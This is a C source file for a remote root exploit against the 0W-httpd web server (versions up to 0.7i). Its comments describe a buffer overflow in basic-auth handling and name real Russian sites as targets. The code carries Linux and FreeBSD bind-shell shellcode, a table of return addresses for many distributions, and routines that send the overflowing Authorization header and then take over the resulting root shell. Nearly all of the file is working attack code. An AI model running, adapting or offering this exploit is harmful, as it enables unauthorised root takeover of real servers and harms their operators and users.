/*

	0w-HTTPD <=0.7i REMOTE ROOT EXPLOIT!!!!!!!!
	     YOU CAN EVEN OWN COMBATS.RU!!!!!!

	       PRIVATE! DO NOT DISTRIBUTE!!!

		      m00.0333.org
		       [09.05.04]
		       
*/

/*
 * m00-0Wn-0x333.c - 0w HTTPD <=0.7i remote root exploit
 *
 * Content:
 *
 * [0] ................................... [ghay header]
 * [1] ................................... [overview]
 * [2] ................................... [vulnerability]
 * [3] ................................... [screenshot]
 * [4] ................................... [0w sucks]
 * [5] ................................... [phun]
 * [6] ................................... [combats.ru]
 * [7] ................................... [note2traders]
 * [8] ................................... [eof]
 *
 * happy hacking kids.
 *
 * [1]-------------------------------------------------------[OVERVIEW]
 *
 * 0w-httpd is mad fast web-server that installed
 * on many russian servers.
 *
 * $ HEAD rax.ru 0w.ru combats.ru liveinternet.ru 3dnews.ru counter.list.ru li.ru|grep Server
 * Server: 0W/0.7j
 * Server: 0W/0.6e
 * Server: 0W/0.6d
 * Server: 0W/0.7j
 * Server: 0W/0.7i
 * Server: 0W/0.6.1
 * Server: 0W/0.7j
 *
 * So PREPARE TO BE OWNED GUYS!!$^#%(&%~@(#*
 *
 *
 * [2]----------------------------------------------------[VULNERABILITY]
 *
 * From httpd/access.h:
 *
 *  char checkPasswd(Access* access, Request* r)
 *  {
 *  	char user[LONG_STR]; // 1024b
 *  	char* password;
 *  	char* crypted;
 *  	char* a;
 *  
 *  	if (!r->authorization) return FAILED;
 *  
 *  	if (strncasecmp(r->authorization, "basic", 5))
 *  		return message(ERROR, "...skipped...");
 *  
 *  	a = r->authorization + 5; // a = encoded login:pass
 *  	while (isspace(*++a == ' '));
 *  	
 *  	if (base64decode(a, user)) // <--- got root?
 *  		return message(ERROR, "...skipped...");
 *  .........
 *
 *
 * [3]------------------------------------------------------[SCREENSHOT]
 *
 *  $ ./m00-0Wn-0x333 -h 127.0.0.1 -t 7
 *   
 *  m00-0Wn-0x333.c ~ Ow-HTTPD <=v0.7i remote root exploit
 *  Private m00 release / m00.0x333.org / Do not distribute
 *  
 *   (@) using target Mandrake 10.0 [0W-httpd-0.7e.tar.gz]
 *   (@) constructing login:password pair
 *   (@) encoding with Base64
 *   (@) connecting [127.0.0.1:80]
 *   (@) sending evil l/p pair
 *   (@) connecting to shell
 *  
 *  Linux m00 2.4.25-2mdk #1 Tue Mar 2 07:39:08 CET 2004 i686 unknown unknown GNU/Linux
 *  
 *  uid=0(root) gid=0(root) groups=0(root)
 *
 *
 * [4]--------------------------------------------------------[0w-Suck]
 *
 * Five security reasons because of which u should
 * use apache instead of 0w:
 *
 *  1. 0w doesnt drops privileges for each child.
 *  2. Buffer overflow in basic auth engine.
 *  3. Besides #2 bof we found heap off-by-one
 *   overflow in handling http-requests which 
 *   allows us to get root privileges on every
 *   0W-httpd (this exploit code will not distributed
 *   even in blackhat community).
 *  4. Auth buffer overflow allows to overwrite some
 *   part of "r" struct that contains client's IP addr.
 *   So we can hide our ip/hostname from being
 *   disclosured in logs:
 *   # tail -n2 error.log
 *   15:00:02|httpd| cannot stat '(null)': Bad address
 *   15:00:02|httpd| no such user from 0.0.0.0 (-(null)): [skip]
 *  5. "no manuals / no docs / no readme" about how to make
 *   server more secure.
 *
 * So install 0w-httpd only if u need fast web-server and Apache
 * if u dont want to be owned.
 *
 * [5]---------------------------------------------------------[PHUN-RU]
 * 
 * 
 * "Как было добыто столько target'ов"
 *
 * -begin-
 *
 *  Отправитель: 
 *  Maxim Zotov <m@ksim.ru> // автор 0w-httpd
 *  
 *  Получатель: 
 *  gaga@h0h0.org // bad boy
 * 
 *  Дата: 
 *  Сегодня 13:13:13
 * 
 *  > > > On Sun, 9 May 2004 gaga@h0h0.org wrote:
 *  > > >
 *  > > > Меня сильно заинтересовал Ваш 0w-http сервер...
 *  > > > Очень бы хотелось в нём получше разобраться.
 *  > > > Если не трудно, вышлите мне пожалуйста 1-2 более
 *  > > > ранних версии (6/7).. Буду очень благодарен.
 *
 *  > > Какая-то странная просьба. Вы хотите найти уязвимости в
 *  > > версиях, используемых на каких-то проектах (например,
 *  > > combats.ru)?
 *
 *  > > Версии 0.7* доступны по адресам http://0w.ru/httpd/src-0.7b.tar.gz
 *  > > и далее по алфавиту до "i".
 *
 *  > А возможно откуда-либо скачать 0.7j?
 * 
 *  Пока нет, эта версия в разработке. Через несколько дней
 *  будет выложена на http://0w.ru/httpd/
 *
 * -eof-
 * 
 * Похоже, автор не верит в то, что в его детище могут быть те
 * или иные уязвимости. Иначе как объяснить то, что он
 * без возражений придоставил мне все версии?
 *
 *
 * [6]----------------------------------------------------------[COMBATS.RU]
 *
 * http://uptime.netcraft.com/up/graph/?host=combats.ru
 *
 * Linux  	0W/0.6d 	26-Dec-2003  	213.248.61.184 <- wtf?!
 * Linux 	0W/0.7e 	25-Dec-2003 	213.248.61.184
 * Linux 	0W/0.6d 	11-Dec-2003 	213.248.61.184
 * Linux 	unknown 	8-Dec-2003 	213.248.61.184 
 * Linux 	0W/0.6d 	28-Jul-2003 	213.248.61.184 
 * Linux 	0W/0.6d 	10-Jul-2003 	213.248.7.92
 * Linux 	0W/0.6c 	7-May-2003 	213.248.7.92
 *
 *
 * [7]---------------------------------------------------------[note2traders]
 *
 * m00-0Wn-0x333.c will not help ya to own even 1 httpd, cuz u dont know
 * how to use it. Besides, all vuln servers are already pwned.
 * U have no reason to trade it.
 *
 * 
 * [8]-----------------------------------------------------------------[EOF]
 *
 * Big thx to c0wboy (0x333.org) and ares (ES) who helped us with this crap.
 *
 * Greetz to 0x333, nerf, lbyte, priv8security and uhagr ppl
 *
 *       m00.0x333.org / m00@EFnet / m00@r00thell.org
 *
*/


#ifdef WHITEHAT
	#define ssize_t ass_size
	typedef struct anal;

	ass_size suckSs_ ((struct anal *)ur_mom);
#endif


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define HTTP_PORT    80
#define MAX_TRG      24

#define CMD          "uname -a;id;\n\n"

unsigned char lnxshellcode[] =
	
	// m00 linux/x86 forking portbind shellcode that
	// prevents 0W-httpd from crash

	"\x90"                   //   nop
	"\x31\xc9"               //   xor    %ecx,%ecx
	"\x31\xd2"               //   xor    %edx,%edx
	
	// close(3);
	"\x31\xdb"               //   xor    %ebx,%ebx
	"\x6a\x03"               //   push   $0x3
	"\x5b"                   //   pop    %ebx
	"\xb0\x06"               //   mov    $0x6,%al
	"\xcd\x80"               //   int    $0x80

	// vfork();
	"\x31\xc0"               //   xor    %eax,%eax
	"\x89\xc3"               //   mov    %eax,%ebx
	"\xb0\xbe"               //   mov    $0xbe,%al
	"\xcd\x80"               //   int    $0x80
	"\x85\xc0"               //   test   %eax,%eax	
	"\x74\x71"               //   je     $0x71

	// bindshell
	"\x31\xc0\x89"
	"\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89"
	"\x45\x08\x8d\x4d\x08\xb0\x66\xcd\x80\x89"
	"\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45"
	"\x16\xef\x10\x31\xd2\x89\x55\x18\x8d\x55"
	"\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66"
	"\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66"
	"\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
	"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd"
	"\x80\x41\x80\xf9\x03\x75\xf6\x31\xd2\x52"
	"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
	"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

	// waitpid(-1,NULL,0);
	"\x31\xdb"               //   xor    %ebx,%ebx
	"\x31\xc0"               //   xor    %eax,%eax
	"\x4b"                   //   dec    %ebx
	"\xb0\x07"               //   mov    $0x07,%al
	"\xcd\x80"               //   int    $0x80

	// httpd will be restarted only if the path is correct
	// execve("bin/0W-httpd","bin/0W-httpd",NULL);
	"\x31\xdb\x53\x68\x74\x74\x70\x64\x68\x30"
	"\x57\x2d\x68\x68\x62\x69\x6e\x2f\x89\xe3"
	"\x8d\x54\x24\x10\x31\xc9\x51\x53\x8d\x0c"
	"\x24\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90";


unsigned char bsdshellcode[] =

	// FreeBSD non-forking portbind shellcode

	"\x31\xc0\x31\xc9\x31\xd2\xb0\x61\x51\xb1\x06\x51\xb1\x01\x51\xb1"
	"\x02\x51\x8d\x0c\x24\x51\xcd\x80\xb1\x02\x31\xc9\x51\x51\x51\x80"
	"\xc1\x77\x66\x51\xb5\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51\x50"
	"\x8d\x0c\x24\x51\x89\xc2\x31\xc0\xb0\x68\xcd\x80\xb3\x01\x53\x52"
	"\x8d\x0c\x24\x51\x31\xc0\xb0\x6a\xcd\x80\x31\xc0\x50\x50\x52\x8d"
	"\x0c\x24\x51\x31\xc9\xb0\x1e\xcd\x80\x89\xc3\x53\x51\x31\xc0\xb0"
	"\x5a\xcd\x80\x41\x53\x51\x31\xc0\xb0\x5a\xcd\x80\x41\x53\x51\x31"
	"\xc0\xb0\x5a\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
	"\x62\x69\x89\xe3\x31\xc0\x50\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
	"\xb0\x01\xcd\x80";


struct {
	char *platform;
	long ret;
	long crap;
	int len;
	char *scd;
} targets[]=
{
	{"Fedore Core 1 [0W-httpd-0.7i.tar.gz]", 0x8079c9c, 0x8080808, 1052, lnxshellcode },
	{"Fedore Core 1 [0W-httpd-0.7e.tar.gz]", 0x8077365, 0x8080808, 1052, lnxshellcode },
	{"Fedore Core 1 [0W-httpd-0.7f/g.tar.gz]", 0x80784c6, 0x8080808, 1052, lnxshellcode },
	{"Fedore Core 1 [0W-httpd-0.7h.tar.gz]", 0x8078a25, 0x8080808, 1052, lnxshellcode },
	{"Fedore Core 1 [0W-httpd-0.6h.tar.gz]", 0x80643aa, 0x8080808, 1052, lnxshellcode },
	{"Mandrake 9.1  [0W-httpd-0.7i.tar.gz]", 0x8079c9c, 0x8080808, 1052, lnxshellcode }, /* wsxz@priv8security */
	{"Mandrake 10.0 [0W-httpd-0.6h.tar.gz]", 0x80681ac, 0x8080808, 1052, lnxshellcode },
	{"Mandrake 10.0 [0W-httpd-0.7e.tar.gz]", 0x807a0ac, 0x8080808, 1052, lnxshellcode },
	{"Mandrake 10.0 [0W-httpd-0.7i.tar.gz]", 0x807b97c, 0x8080808, 1052, lnxshellcode },
	{"RedHat 7.3    [0W-httpd-0.7i.tar.gz]", 0x80682b8, 0xbfffbfbf, 1052, lnxshellcode },
	{"RedHat 8.0    [0W-httpd-0.7i.tar.gz]", 0x8079c9c, 0x8080808, 1052, lnxshellcode },
	{"RedHat 8.0    [0W-httpd-0.6h.tar.gz]", 0x80643aa, 0x8080808, 1052, lnxshellcode },
	{"Slackware 9.0 [0W-httpd-0.7i.tar.gz]", 0x807a6cc, 0x8080808, 1052, lnxshellcode },
	{"Slackware 9.0 [0W-httpd-0.6h.tar.gz]", 0x806547a, 0x8080808, 1052, lnxshellcode },
	{"Slackware 9.1 [0W-httpd-0.7i.tar.gz]", 0x807ab5c, 0x8080808, 1052, lnxshellcode }, /* c0wboy@0x333 */
	{"Slackware 9.1 [0W-httpd-0.7h.tar.gz]", 0x80798ae, 0x8080808, 1052, lnxshellcode }, /* c0wboy@0x333 */
	{"Slackware 9.1 [0W-httpd-0.7g.tar.gz]", 0x807922e, 0x8080808, 1052, lnxshellcode }, /* c0wboy@0x333 */
	{"Slackware 9.1 [0W-httpd-0.7f.tar.gz]", 0x807916c, 0x8080808, 1052, lnxshellcode }, /* c0wboy@0x333 */
	{"Slackware 9.1 [0W-httpd-0.7e.tar.gz]", 0x8078dd0, 0x8080808, 1052, lnxshellcode }, /* c0wboy@0x333 */
	{"Debian 3.0    [0W-httpd-0.7i.tar.gz]", 0x806eb08, 0x8080808, 1036, lnxshellcode }, /* bsdaemon@priv8security */
	{"FreeBSD 4.9   [0W-httpd-0.7i.tar.gz]", 0x80810b0, 0x8080808, 1028, bsdshellcode },
	{"FreeBSD 5.2   [0W-httpd-0.7i.tar.gz]", 0x80830b4, 0x8080808, 1052, bsdshellcode },
	{"CRASH ALL [Ow <= v0.7i]", 0xbadc0ded, 0xbadc0ded, 1052, lnxshellcode},
	{ NULL, 0x0, 0 },
};


static char encode(unsigned char u) {

  if(u < 26)  return 'A'+u;
  if(u < 52)  return 'a'+(u-26);
  if(u < 62)  return '0'+(u-52);
  if(u == 62) return '+';

  return '/';

}



void *xcalloc(long count, long nbytes) {

	void *p = NULL;

	if((p = (void *)calloc(count, nbytes)) == NULL)
		exit(1);
	else
		return p;
}



char *encode_base64(int size, unsigned char *src) {

	int i;
	char *out, *p;

	if(!src) return NULL;

	if(!size)
		size= strlen((char *)src);

	out = xcalloc(sizeof(char), size*4/3+4);
	p=out;

	for(i=0; i<size; i+=3) {
		unsigned char b1=0, b2=0, b3=0, b4=0, b5=0, b6=0, b7=0;

		b1 = src[i];

		if(i+1 < size)
			b2 = src[i+1];

		if(i+2 < size)
			b3 = src[i+2];

		b4 = b1>>2;
		b5 = ((b1&0x3)<<4)|(b2>>4);
		b6 = ((b2&0xf)<<2)|(b3>>6);
		b7 = b3&0x3f;

		*p++ = encode(b4);
		*p++ = encode(b5);

		if(i+1 < size) {
			*p++ = encode(b6);
		} else {
			*p++= '=';
		}

		if(i+2 < size) {
			*p++ = encode(b7);
			} else {
				*p++= '=';
			}
		}

		return out;
}



int connect_to_host(char *ip, unsigned short port) {

	int sockfd;

	struct hostent *hs;
	struct sockaddr_in sock;

	bzero(&sock, sizeof(sock));
	sock.sin_family = AF_INET;
	sock.sin_port   = htons(port);

	if ((sock.sin_addr.s_addr = inet_addr(ip)) == -1) {
		if ((hs = gethostbyname(ip)) == NULL)
			return -1;

		sock.sin_family = hs->h_addrtype;
		memcpy((caddr_t)&sock.sin_addr.s_addr, hs->h_addr, hs->h_length);
	}

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		return -1;

	if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0)
		return -1;

	return sockfd;
}



int get_shell(int bsh) {

	fd_set rfds;
	int retVal,r;
	char buf[8096];

	do {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(bsh, &rfds);
		retVal = select(bsh+1, &rfds, NULL, NULL, NULL);

		if(retVal) {
			if(FD_ISSET(bsh, &rfds)) {
				buf[(r=recv(bsh, buf, 8095,0))] = '\0';
				printf("%s", buf);
			}
			if(FD_ISSET(0, &rfds)) {
				buf[(r=read(0, buf, 8095))]='\0';
				send(bsh, buf, strlen(buf), 0);
			}
		}
	} while(retVal && r);

	close(bsh);
	return 1;
}



int usage(char *prog) {
	int i;
	printf(" - Usage: %s -h <host> -t <target> [-u <path>] [-p <port>]\n\n",prog);
	printf(" - Available targets:\n");
	for(i=0; targets[i].platform != NULL; i++) {
		printf("   %i. %s\n", i, targets[i].platform);
	}
	printf("\n");
	exit(1);
}

#define BUF_SZ 3000
#define HTTP_SZ 1500

int main(int argc, char *argv[]) {

	int      port = 80;
	int      bindshell = 0;
	int      debug = 0;
	int      sock;

	int      opt;
	int      t = 0 , i = 0;

	ssize_t  l;

	char     *host=NULL;
	char     request[BUF_SZ];
	char     buf[BUF_SZ];
	char     http[HTTP_SZ];
	char     *encoded_buf;
	char     answer[0x3e9];
	char     scode[HTTP_SZ];
	char     url[100] = "/";

	printf("\nm00-0Wn-0x333.c ~ Ow-HTTPD <=v0.7i remote root exploit\nPrivate m00 release / m00.0x333.org / Do not distribute\n\n");

	if(argc < 4) usage(argv[0]);

	while((opt = getopt(argc, argv, "h:d:p:t:u:"))!= EOF) {
		switch(opt) {
			case 'h':
				host = optarg;
				break;

			case 'p':
				port = atoi(optarg);
				break;

			case 't':
				t = atoi(optarg);
				if(t > MAX_TRG)
					usage(argv[0]);
				break;

			case 'u':
				strncpy(url,optarg,100);
				break;

			case 'd':
				debug = 1;
				break;

			default :
				usage(argv[0]);
		}
	}

	if(host == NULL)
		usage(argv[0]);
	fprintf(stdout, " (@) using target %s\n",targets[t].platform);
	fprintf(stdout, " (@) constructing login:password pair\n");

	memset(scode, 0x90, 700-strlen(targets[t].scd));
	memcpy(scode+700-strlen(targets[t].scd), targets[t].scd, strlen(targets[t].scd));

	if(targets[t].scd[0]=='\x90') bindshell=61200; else bindshell=30464;

	snprintf(http,HTTP_SZ,
		"Accept: */*\r\n"
		"Accept-Language: en-us,en;q=0.5\r\n"
		"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
		"User-Agent: %s\r\n"
		"Keep-Alive: 300\r\n"
		"Connection: keep-alive\r\n"
		"Authorization: Basic ", scode);

	for(i=0;i<=300;i++) memcpy(buf+4*i, (char*)&targets[t].crap, 4);

	memcpy(buf+targets[t].len, (char *)&targets[t].ret, 4);
	memset(buf+1201, ':', 1);
	memset(buf+1202, 'B', 1);
	
	fprintf(stdout, " (@) encoding with Base64\n");

	if((encoded_buf = encode_base64(strlen(buf), buf)) == NULL) {
		fprintf(stderr, " (@) error in encoding\n");
		exit(1);
	}

	fprintf(stdout, " (@) connecting [%s:%d]\n", host, port);

	if((sock = connect_to_host(host, port))==-1) {
		fprintf(stderr, " (@) error in connecting to host\n");
		exit(1);
	}

	snprintf(request,BUF_SZ,"GET %s HTTP/1.1\r\nHost: %s:%d\r\n%s%s\r\n\r\n",url,host,port,http,encoded_buf);
	
	fprintf(stdout, " (@) sending evil l/p pair\n");

	if(debug) {
		fprintf(stdout, " (DEBUG) press [ENTER] ");
		getchar();
	}

	if((l = send(sock, request, strlen(request), 0)) < 0) {
		fprintf(stderr, " (@) error in sending buffer\n");
		exit(1);
	}

	close(sock);
	sleep(3);

	fprintf(stdout, " (@) connecting to shell\n\n");
	if((sock = connect_to_host(host, bindshell)) == -1) {
		fprintf(stderr, " (@) error in connecting to shell\n");
		exit(1);
	}

	if((l = send(sock, CMD, strlen(CMD), 0)) < 0) {
		fprintf(stderr, " (@) error in send()\n");
		exit(1);
	}

	memset(buf, '\x00', 530);
	if ((l = recv(sock, buf, 529, 0)) < 0) {
		fprintf(stderr, " (@) error in recv()\n");
		exit(1);
	}

	fprintf(stdout, "%s\n", buf);
	get_shell(sock);
}

/* EOF */

